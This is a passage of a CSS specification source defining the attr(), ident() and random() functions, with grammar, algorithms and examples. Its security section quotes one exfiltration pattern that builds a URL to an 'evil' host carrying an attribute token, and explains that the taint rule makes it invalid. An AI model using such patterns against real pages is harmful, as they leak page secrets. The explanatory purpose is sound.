	<!-- Switch the <attr-name> to just use <q-name>
		when Namespaces is rewritten
		to use the current grammar structures. -->

	The arguments of ''attr()'' are:

	: <<attr-name>>
	:: Gives the name of the attribute being referenced,
		similar to <<wq-name>> (from [[SELECTORS-3]])
		but without the possibility of a wildcard prefix.

		If no namespace is specified
		(just an identifier is given, like ''attr(foo)''),
		the null namespace is implied.
		(This is usually what's desired,
		as namespaced attributes are rare.
		In particular, HTML and SVG do not contain namespaced attributes.)
		As with [=attribute selectors=],
		the case-sensitivity of <<attr-name>> depends on the document language.

		Whitespace is not allowed
		between any of the components of <<attr-name>>.

		If ''attr()'' is used in a property applied to an element,
		it references the attribute of the given name on that element;
		if applied to a [=pseudo-element=],
		the attribute is looked up on the pseudo-element's [=originating element=].

	: <<attr-type>>
	::
		Specifies how the attribute value is [=CSS/parsed=] into a CSS value.

		If given as a ''type()'' function,
		the value is parsed according to the <<syntax>> argument,
		and substitutes as the resulting tokens.
		Values that fail to parse according to the syntax
		trigger fallback.

		If given as the <css>number</css> keyword,
		it causes the attribute's literal value,
		after [=strip leading and trailing ASCII whitespace|stripping leading and trailing whitespace=],
		to be [=CSS/parsed=] as a <<number-token>>.
		Values that fail to parse trigger fallback.

		If given as an <<attr-unit>> value,
		the value is first parsed as if ''number'' keyword was specified,
		then the resulting numeric value
		is turned into a dimension with the corresponding unit,
		or a percentage if <css>%</css> was given.
		Same as for ''number'' <<attr-type>>, 
		values that do not correspond to the <<number-token>> production
		trigger fallback.

		If given as the <css>raw-string</css> keyword,
		or omitted entirely,
		it causes the attribute's literal value
		to be treated as the value of a CSS string,
		with no CSS parsing performed at all
		(including CSS escapes, whitespace removal, comments, etc).
		No value triggers fallback;
		only the lack of the attribute entirely does.

		Note: This is different from specifying a syntax of ''type(*)'',
		which still triggers CSS parsing
		(but with no requirements placed on it
		beyond that it parse validly),
		and which substitutes the result of that parsing directly as tokens,
		rather than as a <<string>> value.

	: <<declaration-value>>
	::
		Specifies a fallback value for the ''attr()'',
		which will be substituted instead of the attribute's value
		if the attribute is missing
		or fails to parse as the specified type.

		If the <<attr-type>> argument is omitted,
		the fallback defaults to the empty string if omitted;
		otherwise, it defaults to the [=guaranteed-invalid value=] if omitted.

	If a property contains one or more ''attr()'' functions,
	and those functions are syntactically valid,
	the entire property's grammar must be assumed to be valid at parse time.
	It is only syntax-checked at computed-value time,
	after ''attr()'' functions have been [=arbitrary substitution|substituted=].

	<div class='note'>
		Note that the default value need not be of the type given.
		For instance, if the type required of the attribute by the author is ''&lt;length>'',
		the default could still be <css>auto</css>,
		like in ''width: attr(size &lt;length>, auto);''.
	</div>

	<div class="example">
		This example shows the use of attr() to visually illustrate data
		in an XML file:

		<xmp>
		<stock>
			<wood length="12"/>
			<wood length="5"/>
			<metal length="19"/>
			<wood length="4"/>
		</stock>

		stock::before {
			display: block;
			content: "To scale, the lengths of materials in stock are:";
		}
		stock > * {
			display: block;
			width: attr(length em, 0px);
			height: 1em;
			border: solid thin;
			margin: 0.5em;
		}
		wood {
			background: orange url(wood.png);
		}
		metal {
			background: silver url(metal.png);
		}
		</xmp>
	</div>

<h4 id=attr-substitution>
Substitution</h4>

	''attr()'' is an [=arbitrary substitution function=],
	similar to ''var()'',
	and so is replaced with the value it represents (if possible)
	at [=computed value=] time;
	otherwise, it's replaced with the [=guaranteed-invalid value=],
	which will make its declaration [=invalid at computed-value time=].

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an attr() function=]</dfn>,
		given a list of |arguments|:

		1. Let |el| be the element that the style containing the ''attr()'' function
			is being applied to.
			Let |first arg| be the first <<declaration-value>> in |arguments|.
			Let |second arg| be the <<declaration-value>>? passed after the comma,
			or null if there was no comma.

		2. [=Substitute arbitrary substitution functions=] in |first arg|,
			then [=CSS/parse=] it as <css><<attr-name>> <<attr-type>>?</css>.
			If that returns failure, jump to the last step (labeled FAILURE).
			Otherwise, let |attr name| and |syntax| be the results of parsing
			(with |syntax| being null if <<attr-type>> was omitted),
			processed as specified in the definition of those arguments.

		3. If |attr name| exists as an attribute on |el|,
			let |attr value| be its value;
			otherwise jump to the last step (labeled FAILURE).

		4. If |syntax| is the keyword ''number'' or an <<attr-unit>> value,
			parse |attr value| against <<attr-type>>.
			If that succeeds, return the result;
			otherwise, jump to the last step (labeled FAILURE).

			Note: No parsing or modification of any kind is performed on the value.
		
		5. If |syntax| is null
			or the keyword ''raw-string'',
			return a CSS <<string>>
			whose value is |attr value|.

			Note: No parsing or modification of any kind is performed on the value.

		6. [=Substitute arbitrary substitution functions=] in |attr value|,
			with &bs<<;"attribute", |attr name|&bs>>; as the [=substitution context=],
			then [=parse with a <syntax>=] |attr value|, with |syntax| and |el|.
			If that succeeds, return the result;
			otherwise, jump to the last step (labeled FAILURE).

		7. <b>FAILURE:</b>

			1. If |second arg| is null,
				and |syntax| was omitted,
				return an empty CSS <<string>>.

			2. If |second arg| is null,
				return the [=guaranteed-invalid value=].

			3. [=Substitute arbitrary substitution functions=] in |second arg|,
				and return the result.
	</div>


<h4 id=attr-security>
Security</h4>

	An ''attr()'' function can reference attributes
	that were never intended by the page to be used for styling,
	and might contain sensitive information
	(for example, a security token used by scripts on the page).

	In general, this is fine.
	It is difficult to use ''attr()'' to extract information from a page
	and send it to a hostile party,
	in most circumstances.
	The exception to this is URLs.
	If a URL can be constructed with the value of an arbitrary attribute,
	purely from CSS,
	it can easily send any information stored in attributes
	to a hostile party,
	if 3rd-party CSS is allowed at all.

	To guard against this,
	the values produced by an ''attr()'' are considered <dfn export lt="attr()-taint">attr()-tainted</dfn>,
	as are functions that contain an [=attr()-tainted=] value.

	The substitution value of an [=arbitrary substitution function=]
	is [=attr()-tainted=] <em>as a whole</em>
	if any [=attr()-tainted=] values were involved
	in creating that substitution value.
	<span class=note>This extends to the [=equivalent token sequence=]
	when substituting values of [=registered custom properties=].</span>

	Using an [=attr()-tainted=] value as or in a <<url>>
	makes a declaration [=invalid at computed-value time=].

	<div class=example>
		For example,
		all of the following are [=invalid at computed-value time=]:

		* ''background-image: src(attr(foo));'' - can't use it directly.
		* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
		* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
		* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.

		However, using ''attr()'' for other purposes is fine,
		even if the usage is <em>near</em> a url:

		* ''background-image: image("foo.jpg", attr(bgcolor type(&lt;color>)))'' is fine;
			the ''attr()'' is providing a fallback color,
			and the <<url>> isn't [=attr()-tainted=].

		Using ''attr()'' indirectly via a [=custom property=]
		causes [=attr()-tainting=] of the whole custom property value:

		* ''--foo: image("foo.jpg", attr(bgcolor type(&lt;color&gt;))); background-image: var(--foo);''
			is [=invalid at computed-value time=].

			Issue: Investigate partial tainting of custom property values.
	</div>

	Note: Implementing this restriction
	requires tracking a dirty bit
	on values constructed from ''attr()'' values,
	since they can be fully resolved into a string
	via [=registered custom properties=],
	so you can't rely on just examining the value expression.
	Note that non-string types can even trigger this,
	via functions like <css>string()</css>
	that can stringify other types of values:
	''--foo: attr(foo type(&lt;number&gt;)); background-image: src(string(var(--foo)))''
	needs to be invalid as well.

<!-- Big Text: ident()

████ ████▌  █████▌ █    █▌ █████▌   ██ ██
 ▐▌  █▌  █▌ █▌     █▌   █▌   █▌    █▌   ▐█
 ▐▌  █▌  █▌ █▌     ██▌  █▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ ████   █▌▐█ █▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ █▌     █▌  ██▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ █▌     █▌   █▌   █▌    █▌   ▐█
████ ████▌  █████▌ █▌   ▐▌   █▌     ██ ██
-->

<h3 id=ident>
Constructing <<custom-ident>> values: the ''ident()'' function</h3>

	<!-- https://github.com/w3c/csswg-drafts/issues/9141 -->

	The <dfn>ident()</dfn> function represents an <<ident>>,
	and can be used to manually construct <<custom-ident>> values from several parts.

	<pre class=prod>
	<<ident()>> = ident( <<ident-arg>>+ )
	<dfn><<ident-arg>></dfn> = <<string>> | <<integer>> | <<ident>>
	</pre>

	Issue(w3c/csswg-drafts#11424): Should we allow a fallback value?

	The ''ident()'' function can be used as a value for any property or function argument
	that accepts a <<custom-ident>>.

	<div class=example>
		In the following example,
		each matched element gets a unique <<'view-timeline-name'>>
		in the format of <code>"vtl-<em>number</em>"</code>.
		The <code><em>number</em></code> is generated using ''sibling-index()''.

		```css
		.item {
			/* vtl-1, vtl-2, vtl-3, … */
			view-timeline-name: ident("vtl-" sibling-index());
		}
		```
	</div>

	While in many cases ''attr()'' with the <<attr-type>> set to <css>type(<<custom-ident>>)</css> will do,
	''ident()'' can be used to construct a <<custom-ident>> using values that come from other elements.

	<div class=example>
		In the following example, the  ''ident()'' function uses a custom property
		which is defined on a parent.

		```css
		.card[id] {
			/* E.g. card1, card2, card3, … */
			--id: attr(id);

			view-transition-name: ident(var(--id));
			view-transition-class: card;

			h1 {
				/* E.g. card1-title, card2-title, card3-title, … */
				view-transition-name: ident(var(--id) "-title");
				view-transition-class: card-title;
			}
		}
		```
	</div>

	To generate a <<dashed-ident>>, put <code>"--"</code> as the first argument.

	<div class=example>

		```css
		.element {
			anchor-name: ident("--" attr(id));
		}
		```
	</div>

<!-- Big Text: random

████▌   ███▌  █    █▌ ████▌   ███▌  █     █
█▌  █▌ ▐█ ▐█  █▌   █▌ █▌  █▌ █▌  █▌ ██   ██
█▌  █▌ █▌  █▌ ██▌  █▌ █▌  █▌ █▌  █▌ █▌█ █▐█
████▌  █▌  █▌ █▌▐█ █▌ █▌  █▌ █▌  █▌ █▌ █ ▐█
█▌▐█   █████▌ █▌  ██▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌ ▐█  █▌  █▌ █▌   █▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌  █▌ █▌  █▌ █▌   ▐▌ ████▌   ███▌  █▌   ▐█
-->

<h2 id=randomness>
Generating Random Values</h2>

	It is often useful to incorporate some degree of "randomness" to a design,
	either to make repeated elements on a page feel less static and identical,
	or just to add a bit of "flair" to a page without being distracting.

	The ''random()'' and ''random-item()'' functions
	(the <dfn export for=CSS lt="random function">random functions</dfn>)
	allow authors to incorporate randomness into their page,
	while keeping this randomness predictable from a design perspective,
	letting authors decide whether a random value should be reused in several places
	or be unique between instances.

	The exact random-number generation method is UA-defined.
	It <em>should</em> be the case that two distinct random values
	have no easily-detectable correlation,
	but this specification intentionally does not specify what that means
	in terms of cryptographic strength.
	Authors <em>must not</em> rely on [=random functions=]
	for any purposes that depend on quality cryptography.

<h3 id=random>
Generating a Random Numeric Value: the ''random()'' function</h3>

	The <dfn>random()</dfn> function is a [=math function=]
	that represents a random value between a minimum and maximum value,
	drawn from a uniform distribution,
	optionally limiting the possible values to a step between those limits:

	<pre class=prod>
	&lt;random()> = random( <<random-value-sharing>>? , <<calc-sum>>, <<calc-sum>>, <<calc-sum>>? )

	<dfn><<random-value-sharing>></dfn> = [ [ auto | <<dashed-ident>> ] || element-shared ]
	                       | fixed <<number [0,1]>>
	</pre>

	See [[#random-evaluation]] and [[#random-caching]]
	for details on how the function is evaluated.
	Its arguments are:

	<dl>
		: <<random-value-sharing>>
		:: The optional <<random-value-sharing>>
			controls which [=random functions=] in the document
			will share a [=random base value=]
			and which will get distinct values.
			If <<random-value-sharing>> is omitted,
			it behaves as ''random()/auto''.

			See below for details on the <<random-value-sharing>> options,
			and see [[#random-caching]] for a precise description of their behavior.

		: <css><<calc-sum>>, <<calc-sum>></css>
		:: The two required [=calculations=]
			specify the  minimum and maximum value
			the function can resolve to.
			Both limits are inclusive
			(the result can be the min or the max).

			If the maximum value is less than the minimum value,
			it behaves as if it's equal to the minimum value.

			<div class=example>
				For example, ''random(100px, 300px)''
				will resolve to a random <<length>> between ''100px'' and ''300px'':
				it might be ''100px'', ''300px'', or any value between them like ''234.5px''.
			</div>

		: <css><<calc-sum>>?</css>
		:: The final optional argument
			specifies a step value:
			the values the function can resolve to
			are further restricted to the form <code>min + (N * step)</code>,
			where N is a non-negative integer
			chosen uniformly randomly from the possible values
			that result in an in-range value.

			<div class=example>
				For example, ''random(100px, 300px, 50px)''
				can only resolve to ''100px'', ''150px'', ''200px'', ''250px'', or ''300px'';
				it will never return a value like ''120px''.

				Note that the max value might not actually show up as a possible value;
				for example, in ''random(100px, 200px, 30px)'',
				the possible values are ''100px'', ''130px'', ''160px'', and ''190px''.
			</div>

			Note: Even if it's <em>intended</em> that <code>min</code> and <code>max</code>
			are exactly some integer multiple of <code>step</code> apart,
			numeric precision issues can prevent that from being true.
			To avoid these issues,
			if the max value is <em>very close</em> to equalling a stepped value
			(above or below it),
			the max value is used as the final stepped value instead.
			See [[#random-evaluation]] for precise details.

			<div class=example>
				As explained in the definition of ''round()'',
				CSS has no "natural" precision for values,
				but the step value can be used to assign one.

				For example, ''random(100px, 500px, 1px)''
				restricts it to resolving only to whole px values;
				''random(1, 10, 1)''
				is restricted to resolving only to integers;
				etc.
			</div>

			Note: Providing a step value <em>is not equivalent</em>
			to generating a random value and then rounding it;
			''random(100px, 200px, 50px)'' will generate three possible values
			(100px, 150px, 200px)
			all with a 1/3 chance,
			while ''round(random(100px, 200px), 50px)''
			will generate the same three possible values,
			but ''150px'' will occur 1/2 the time,
			while ''100px'' and ''200px'' will only occur 1/4 of the time each.
	</dl>

	The <<random-value-sharing>> value controls sharing along two axises:

	* between [=random functions=] used for different things
		in the style for a single element,
		via the ''random()/auto'' or ''random()/<dashed-ident>'' values
	* between [=random functions=] used for the same thing
		in the styles across several elements,
		via the ''random()/element-shared'' value (or its absence)

	<dl dfn-type=value dfn-for="random(),<random-value-sharing>">
		: <dfn>auto</dfn>
		::	Each [=random function=] in an element's styles
			will use a distinct [=random base value=].
			(But see <a href="#auto-naming-details">the note below</a> for a small wrinkle about this.)

			If neither ''random()/auto'' nor ''random()/<dashed-ident>'' are specified,
			it behaves as ''random()/auto''.

		: <dfn><<dashed-ident>></dfn>
		:: Each [=random function=] in an element's styles
			with the same <<dashed-ident>>
			will share the same [=random base value=];
			ones with different <<dashed-ident>>s
			will use distinct [=random base values=].

		: <dfn>element-shared</dfn>
		:: If ''random()/element-shared'' is omitted,
			[=random functions=] on different elements
			will use distinct [=random base values=].

			If specified,
			[=random functions=] on different elements
			will share the same [=random base value=]
			if they have the same <<dashed-ident>> (if specified)
			or if they're used in the same style in the same way (if not).
			(Again, see <a href="#auto-naming-details">the note below</a> for a small wrinkle about this.)

		: <dfn lt="fixed|<number>">fixed <<number>></dfn>
		:: If ''fixed <<number>>'' is specified,
			the <<number>> is used as the [=random function's=] [=random base value=],
			rather than allowing the UA to generate a [=random base value=]
			and controlling how it's shared.

			While ''1'' is technically allowed as a valid value
			(because CSS grammars can only express closed ranges),
			the [=random base value=] is clamped to the highest representable value
			less than ''1'',
			so [=random base values=] remain in the half-open range `[0, 1)`.

			Note: While this <em>might</em> be useful for authors
			to get predictable values while testing a page,
			the reason it exists is to fix some corner cases in [=inheritance=]
			that would otherwise cause elements to <em>not</em> share [=random base values=]
			when authors would expect them to.
			It is observable in some rare [=computed values=],
			but otherwise will never show up in an element's styles.
	</dl>

	<div class=example>
		* <b>Maximum random</b>:
			both properties get a different value,
			and it's different per element too,
			so you get lots of random rectangles.

			<pre highlight=css>
			.random-rect {
				width: random(100px, 200px);
				height: random(100px, 200px);
			}
			</pre>

		* <b>Shared by name within an element</b>:
			both properties get the same value,
			but it's still different per element,
			so you get lots of random squares.

			<pre highlight=css>
			.random-square {
				width: random(--foo, 100px, 200px);
				height: random(--foo, 100px, 200px);
			}
			</pre>

		* <b>Shared between elements within a property</b>:
			both properties get different values,
			but they're shared by every element,
			so you get lots of identical rectangles of a single random size.

			<pre highlight=css>
			.shared-random-rect {
				width: random(element-shared, 100px, 200px);
				height: random(element-shared, 100px, 200px);
			}
			</pre>

		* <b>Shared globally</b>:
			both properties get the same value,
			and every element shares that value,
			so you get lots of identical squares of a single random size.

			<pre highlight=css>
			.shared-random-squares {
				width: random(--foo element-shared, 100px, 200px);
				height: random(--foo element-shared, 100px, 200px);
			}
			</pre>
	</div>

	<details class=note id=auto-naming-details>
		<summary>Details about how ''random()/auto'' works</summary>

		Technically, the ''random()/auto'' value generates a name
		similar to an author specifying a <<dashed-ident>>,
		but it's auto-generated using the property the [=random function=] shows up in,
		and its index among multiple [=random functions=] in that property.
		For example, in ''margin: random(0px, 10px) random(0px, 10px)'',
		the first function gets a name of "margin 0"
		while the second gets a name of "margin 1".

		This ensures that every auto-generated name on a single element is unique,
		and thus will get their own [=random base value=].
		It also ensures that declarations like
		''.foo { width: random(element-shared, 100px, 200px); }''
		will cause all the ''.foo'' elements to share a [=random base value=] for their width
		(they all have the same auto-generated name, "width 0").

		However, it also means that a few other cases can create sharing that might be unexpected.
		For example, in the following:

		<pre highlight=css>
		.foo {
			width: random(element-shared, 100px, 200px);
		}
		.bar {
			width: random(element-shared, 200px, 300px);
		}
		</pre>

		Both ''.foo'' and ''.bar'' elements have ''random()'' functions
		whose auto-generated names are "width 0",
		so they'll share the same [=random base value=]
		and generate related random values,
		even if they were never intended to be linked together like that.

		Similarly, in the following:

		<pre highlight=css>
		.foo {
			animation: flicker linear random(1s, 2s);
		}
		.foo:hover {
			animation: glow linear random(4s, 6s);
		}
		</pre>

		The two ''random()'' functions have the same auto-generated name "animation 0",
		so they'll share [=random base values=] on a single element
		and generate related random values,
		even tho the author likely considers them to be "different uses".

		This unexpected sharing is, unfortunately, unavoidable.
		CSS generally doesn't care <em>how</em> you organize styles for your elements;
		in particular, whether you style several elements
		with a single style rule like ''.foo, .bar {...}'',
		multiple style rules like ''.foo {...} .bar {...}'',
		or by setting the <{html-global/style}> attribute on each element individually,
		you'll get the same results.
		This needs to continue to be true even when you're using random values,
		so we can't distinguish random values by how they're <em>set</em>,
		only how they're <em>used</em>.

		There's no syntactic distinction in a stylesheet
		between styling "related" elements and "independent" elements,
		or distinguishing "independent" states,
		so we must treat all elements as potentially related for this purpose.
		If this is undesirable,
		you can always supply a sufficiently unique <<dashed-ident>> yourself,
		like ''random(--sidebar-width element-shared, ...)'' on one set of elements
		and ''random(--card-width element-shared, ...)'' on another,
		or ''random(--flicker, ...)'' and ''random(--glow, ...)'' on the different rules.

		This is the one case where supplying a <<dashed-ident>>
		can <em>reduce</em> the sharing of [=random base values=]
		versus omitting it.
	</details>

	All of the [=calculation=] arguments can resolve to any value,
	but must have a [=consistent type=]
	or else the function is invalid;
	the result’s type will be the consistent type.

	<div class=example>
		For example, ''random(50px, 100%, 1em)'' is valid
		(assuming percentages are valid in the context this is used,
		and resolve to a <<length>>),
		as all three arguments resolve to a length.

		However, ''random(50px, 180deg)'' is invalid,
		as lengths and angles are not the same type.
	</div>

	A ''random()'' function can be [=simplify a calculation tree|simplified=]
	as soon as its argument [=calculations=]
	can be simplified to numeric values.
	See [[#random-caching]] for details on how it's resolved.

	If a ''random()'' function can't be [=simplify a calculation tree|simplified=]
	by [=computed value=] time,
	then it computes to its maximally-simplified form,
	but with its <<random-value-sharing>> set to its [=random base value=].

	<div class=example>
		For example, given the declaration ''width: random(50%, 100%)'',
		the calculations can't be simplified at [=computed value=] time
		because the percentages depend on [=used value=] information
		(the size of the element's [=containing block=]).

		So, the [=computed value=] of the property
		is ''width: random(fixed .1234, 50%, 100%)''
		(or some other random value instead of ''.1234''),
		meaning it will eventually resolve to ''56.17%''
		(or similar for the actual random value).
	</div>

	Issue: At least in theory it should be fine to use ''random()''
	in non-property contexts,
	it would just set the "element id" of the caching key to null,
	and, if necessary, compute an appropriate descriptor/etc-based caching key.
	Like, <code>@media (max-width: random(100px, 500px)) {...}</code>
	could be well-defined;
	the caching key is just "@media max-width 1" or something.
	I suspect we want to disallow it, tho?


<h4 id=random-infinities>
Argument Ranges</h4>

	In ''random(A, B)'',
	if A is infinite,
	the result is infinite.

	If A is finite,
	but the difference between A and B
	is either infinite
	or large enough to be treated as infinite in the user agent,
	the result is NaN.

	In ''random(A, B, C)'',
	the same behavior for A and B as defined above applies.

	If C is infinite,
	the result is A.

	If C is negative, zero,
	or positive but close enough to zero
	that the range for the step multiplier
	(the <code>N</code> mentioned in [[#random-evaluation]])
	would be infinite in the user agent,
	the step must be <em>ignored</em>.
	(The function is treated as if only A and B were provided.)

	Note: As usual for [=math functions=],
	if any argument calculation is NaN,
	the result is NaN.

<h3 id=random-item>
Picking a Random Item From a List: the ''random-item()'' function</h3>

	The <dfn>random-item()</dfn> function
	resolves to a random item
	from among its list of items.

	<pre class=prod>
	&lt;random-item()> = random-item( <<random-value-sharing>> , [ <<declaration-value>>? ]# )
	</pre>

	The ''random-item()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<random-item-args>></dfn> = random-item( <<declaration-value>>, [ <<declaration-value>>? ]# )
	</pre>

	See [[#random-evaluation]] and [[#random-caching]]
	for details on how the function is evaluated.

	The <em>required</em> <<random-value-sharing>>
	is interpreted identically to ''random()''.
	(See [[#random-caching]] for details.)

	Note: The <<random-value-sharing>> argument is required in ''random-item()'',
	but optional in ''random()'',
	for parsing reasons
	(it's impossible to tell whether ''random-item(--foo, --bar, --baz)''
	has three <<declaration-value>> arguments
	or two and a <<random-value-sharing>> argument).

	The remaining arguments are arbitrary sequences of CSS values.
	The ''random-item()'' function is substituted with one of these sequences,
	chosen uniformly at random.

	The ''random-item()'' function is an [=arbitrary substitution function=],
	like ''var()''.

	<div class=note>
		That is, if you use ''random-item()'':

		* So long as ''random-item()'' itself (and any other [=arbitrary substitution functions=])
			is syntactically valid,
			the entire property is assumed to be valid at parse time.
		* ''random-item()'' is substituted with whatever value it resolves to
			at [=computed value=] time
			when you'd [=substitute a var()=],
			so children all inherit the same resolved value.
		* If the substituted value ends up making the property invalid,
			the property's value becomes the [=guaranteed-invalid value=].
	</div>

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace a random-item() function=]</dfn>,
		given a list of |arguments|:

		1. Let |value sharing| be the first <<declaration-value>> in |arguments|,
			and |options| be a list of the remaining <<declaration-value>>? options.

		2. [=Substitute arbitrary substitution functions=] in |value sharing|,
			then [=CSS/parse=] it as <<random-value-sharing>>.
			If parsing returns failure,
			return the [=guaranteed-invalid value=];
			otherwise set |value sharing| to the result.

		3. Select one of the |options|,
			as specified in [[#random-evaluation]],
			using |value sharing|
			as specified in [[#random-caching]],
			and let |chosen option| be the result.

		4. [=Substitute arbitrary substitution functions=]
			in |chosen option|,
			then return the result.
	</div>


<h3 algorithm=random-evaluation id=random-evaluation>
Evaluating Random Values</h3>

	Given a [=random function=] with a [=random base value=] |R|,
	the value of the function is:

	: for a ''random()'' function with |min| and |max|, but no step
	:: Return <code>|min| + |R| * (|max| - |min|)</code>

	: for a ''random()'' function with |min|, |max|, and |step|
	::
		* Let |epsilon| be <code>|step| / 1000</code>,
			or the smallest representable value greater than zero
			in the numeric type being used
			if |epsilon| would round to zero.
		* Let |N| be the largest integer
			such that <code>|min| + |N| * |step|</code> is less than or equal to |max|.

			If |N| produces a value that is not within |epsilon| of |max|,
			but |N|+1 would produce a value within |epsilon| of |max|,
			set |N| to |N|+1.
		* Let |step index| be a [=random integer=] less than |N|+1, given |R|.
		* Let |value| be <code>|min| + |step index| * |step|</code>.
		* If |step index| is |N| and |value| is within |epsilon| of |max|, return |max|.
		* Otherwise, return |value|.

		<details class=note>
			<summary>Epsilon/max Details</summary>

			|epsilon| was chosen to be <code>|step| / 1000</code>
			as a useful "middle ground" value:
			small enough that it's very unlikely to accidentally trigger
			when the author didn't intend it,
			but large enough that it's guaranteed to catch floating-point precision errors.

			It's size is also within the realm for authors to exploit themselves;
			if their |max| is meant to be an integer multiple of their |step|,
			but the |step| is not a terminating decimal,
			as long as they write the |step| with 5 or 6 digits of precision
			then the largest value should land within |epsilon| of |max|.

			For example, while ''random(0px, 100px, 33.3px)'' will not generate a ''100px'' value
			(the epsilon is ''.0333px'',
			but 3 steps yields ''99.9px'',
			which is ''.1px'' from |max|, more than the epsilon),
			''random(0px, 100px, 33.333px)'' will
			(the epsilon is ''.033333px'',
			similar to the previous example,
			but 3 steps yields ''99.999px'',
			which is ''.001px'' from |max|, much less than the epsilon).
			(A sufficiently large number of steps
			could still cause enough divergence to defeat this,
			but it works for any remotely reasonable use-case.)

			Using a [=calculation=] to "exactly" represent non-terminating decimals
			will also work, of course:
			''random(0px, 100px, 100px / 3)''
			is guaranteed to be able to generate a ''100px'' value,
			as the step value will only be subject to floating-point precision errors
			far smaller than the epsilon.
		</details>

	: for a ''random-item()'' function with |N| <<declaration-value>>? arguments:
	::
		* Let |index| be a [=random integer=] less than |N|, given |R|.
		* Return the |index|'th argument (0-indexed).

	<div algorithm>
		To <dfn local-lt="random integer">generate a random integer</dfn>
		less than some integer |limit|
		given a [=random base value=] |R|,
		return <css>round(down, |R| * |limit|, 1)</css>
	</div>



<h3 id=random-caching>
Caching Random Values: the <<random-value-sharing>> value</h3>

	In a programming language like JavaScript,
	there's a clear temporal ordering to code,
	so you can tell exactly <em>when</em> something like a call to {{Math/random()|Math.random()}} is evaluated.
	You can also store the results in a variable,
	making it clear when you're reusing a single random value in multiple places,
	versus using a distinct random value in each location.

	CSS, on the other hand, is a declarative language
	(code is not "executed" in any particular order,
	nor is there any control over how many times something is "executed");
	it makes it very easy to apply identical styles to multiple elements
	but difficult to specify distinct values for each of them
	(making it unclear whether a property using ''random()''
	is meant to resolve to the same value on each element it's applied to
	or to distinct values on each);
	and it has very limited "variable" functionality
	(making it difficult to intentionally reuse a particular randomly-generated value in several places).

	To resolve these issues,
	the ''random()'' and ''random-item()'' functions are defined to generate random values
	under the following caching semantics:

	* Each instance of a [=random function=] in styles
		has an associated <dfn>random base value</dfn>.

		If the [=random function's=] <<random-value-sharing>> is ''fixed <<number>>'',
		the [=random base value=] is that number.

		Otherwise, the [=random base value=] is a pseudo-random real number
		in the range `[0, 1)`
		(greater than or equal to 0 and less than 1),
		generated from a uniform distribution,
		and influenced by the function's [=random caching key=].

	* Each [=random function=] also specifies a <dfn>random caching key</dfn>.
		Two [=random functions=] with the same [=random caching key=]
		must also have the same [=random base value=];
		two functions with different [=random caching keys=]
		must have distinct [=random base values=].
		(That is, generated by a fresh random operation;
		randomness might of course produce the same actual value.)

		It is intentionally unspecified <em>how</em> the [=random caching key=]
		is used to achieve this.
		It can literally cache a generated random value,
		or be used as a seed for a PRNG,
		etc.

	* A [=random caching key=] is a [=tuple=] of:
		1. A [=string=] name: the value of the <<dashed-ident>>,
			if specified in <<random-value-sharing>>;
			or else a string of the form <code>"PROPERTY N"</code>,
			where PROPERTY is the name of the property the [=random function=] is used in
			(<em>before</em> shorthand expansion, if relevant),
			and N is the index of the [=random function=]
			among other [=random functions=] in the same property value.

		2. An element ID identifying the element the style is being applied to,
			or null if ''random()/element-shared'' is specified in <<random-value-sharing>>.
		3. A document ID identifying the {{Document}} the styles are from.

		The "element ID" and "document ID" must have the same lifetimes and equivalence
		as a JavaScript reference to the {{Element}} or {{Document}}.

	* The [=random caching key=] and [=random base value=]
		must be determined at [=computed value=] time,
		before [=inheritance=],
		so that a random function which is unresolved by inheritance time
		(due to containing, for example, a layout-sensitive percentage)
		does not have a different behavior on children
		from one that resolves immediately.

	<div class=example>
		For example, in the following stylesheet:

		<pre highlight=css>
		.random-square {
			width: random(--foo element-shared, 100px, 500px);
			height: random(--foo element-shared, 100px, 500px);
		}
		</pre>

		The [=random caching keys=] for the functions are identical--
		both <code>("--foo", null, documentID)</code>.
		This means that both will resolve to the exact same value,
		guaranteeing a square element
		with a size somewhere between ''100px'' and ''500px''.
		Additionally, <em>every</em> ''.random-square'' element on the page
		will have the same size,
		since ''element-shared'' was specified.
		In fact, completely unrelated styles using the same ''random()'' function
		will also end up sharing that value.

		On other hand, in this stylesheet:

		<pre highlight=css>
		.random-rect {
			width: random(100px, 500px);
			height: random(100px, 500px);
		}
		</pre>

		The [=random caching keys=] for the functions are distinct,
		due to the defaulting rules:
		<code>("width 1", elementID, documentID)</code> for the 'width' value,
		and <code>("height 1", elementID, documentID)</code> for the 'height' value.

		This means the two functions will resolve to distinct random values,
		making it very unlikely for the element to be square.
		Also, every element using these styles
		will be a <em>different</em> rectangle.
	</div>

	<div>
		Shorthands are recorded as part of the default [=random caching key=],
		rather than the longhand the value gets expanded to.
		For example:

		<pre highlight=css>
		.same-tb-and-rl {
			margin: random(0px, 10px) random(0px, 10px);
		}
		</pre>

		Here, the "name" in the [=random caching keys=]
		is <code>"margin 0"</code> for the first instance
		and <code>"margin 1"</code> for the second.
		After expansion, then,
		'margin-top' and 'margin-bottom' will share the same random value,
		and 'margin-left' and 'margin-right' will share a different random value.

		Combining shorthands with longhands will produce different caching keys:

		<pre highlight=css>
		.different-tb-same-rl {
			margin: random(0px, 10px) random(0px, 10px);
			margin-bottom: random(0px, 10px);
		}
		</pre>

		The 'margin-bottom' value has a [=random caching key=] "name"
		of <code>"margin-bottom 0"</code>,
		which is different from the 'margin-top' key of <code>"margin 0"</code>,
		so the top and bottom margins will be different random values.
		'margin-left' and 'margin-right' continue to share a third random value,
		as they still share the name <code>"margin 1"</code>.
	</div>

	<div>
		The evaluation semantics of [=custom properties=]
		can make [=random functions=] act a little unpredictably
		if you're not careful.

		For example, in the following:

		<pre highlight=css>
		.square-or-rect {
			--size: random(100px, 500px);
			width: var(--size);
			height: var(--size);
		}
		</pre>

		If '--size' isn't a [=registered custom property=],
		or is registered but with the universal grammar ''*'',
		the ''random()'' function isn't evaluated
		(or even recognized *as* a ''random()'' function)
		in ''--size'',
